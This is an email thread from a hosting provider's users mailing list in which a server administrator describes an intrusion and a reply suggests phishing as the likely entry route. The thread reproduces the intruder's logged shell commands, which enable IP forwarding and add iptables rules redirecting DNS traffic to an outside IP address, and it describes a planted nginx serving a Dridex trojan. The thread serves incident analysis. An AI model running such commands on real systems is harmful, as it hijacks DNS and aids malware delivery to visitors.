Was all the logins attempts over SSH or the WordPress software? Are you sure they did not gain access some other way, found the password and then logged in again over SSH?
This white paper that covers the malware you mentioned says that the main infection method is by phising the administrator. See page 4. You should probably run a scan on your other devices as well.
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf

On Wed, Oct 21, 2015 at 5:15 PM, Ian <ian@lovingboth.com> wrote:
Earlier this month, a Greek IP address failed to login to five WordPress sites on two of my servers - not on BitFolk. One attempt each on four sites, and seven on another spread over several days.

On Tuesday last week, it was blocked for 24 hours by both of them after five failed attempts to login via ssh.

On Wednesday, it succeeded on one of them. Given the strength of the password, the fact that it's not used (by me) anywhere else, and the chance of doing this by random, I would quite like to know *how*.

I did login over ssh that day via my mobile, but there is no sign that my phone is compromised - I logged into three other servers that day, and none of them have seen this happen. Similarly, if my PC had an issue, I would expect the other servers to be affected.

I would be wondering about the other people who know the password for this one except that if it knew the password, why did the IP address fail the previous day?

Two other 'not me' IP addresses have also since managed it, most recently on Sunday.

What I can see that they did was firstly...

  netstat -napu
  cat /etc/resolv.conf
  cat /etc/bind/named.conf.default-zones
  ifconfig
  echo "1" > /proc/sys/net/ipv4/ip_forward
  iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination 176.9.74.8:10054
  iptables -t nat -A POSTROUTING -p udp -j MASQUERADE
  iptables -t nat -L -v -n
  iptables -t nat -L -v -n
  ifconfig
  iptables -L -v -n -x
  iptables -I OUTPUT -p udp --sport 53 -j ACCEPT
  iptables -I OUTPUT -p udp --dport 53 -j ACCEPT
  iptables -L -v -n -x
  exit
  netstat -napu
  exit

.. which, if I understand it correctly, is redirecting DNS requests to that IP address (various sites reckon that's a site in Germany, chipmanuals.com, apparently owned by someone in Tbilisi, Georgia...)

Secondly, on Sunday various files were placed in /tmp/.estbuild including a copy of nginx.

This seems to have been serving a version of the Dridex trojan in the form of a Windows .exe file from (domain name)/uniq/* before passing the request onto Apache to 404 the /uniq/ URLs. Fortunately, because of how it was set up, only requests to the server's own domain name were affected and it looks like that only had about three human visitors in that time, one of whom complained.

Obviously more could have happened - there's nothing else odd in various log files, but clearly they cannot be completely trusted.

On the plus side, this was the server that was first in my queue to replace with one running Debian Jessie, and it has been ten years since anything like this has happened to me,* but grrr...

  Ian

* The person who ended up being the boss of a former workplace opened an executable attachment in an email both 'to' and 'from' them that they knew they hadn't sent, but they "wanted to know what it was..."

_______________________________________________
users mailing list
users@lists.bitfolk.com
https://lists.bitfolk.com/mailman/listinfo/users



--
My PGP is available at: http://downgoat.net/contact/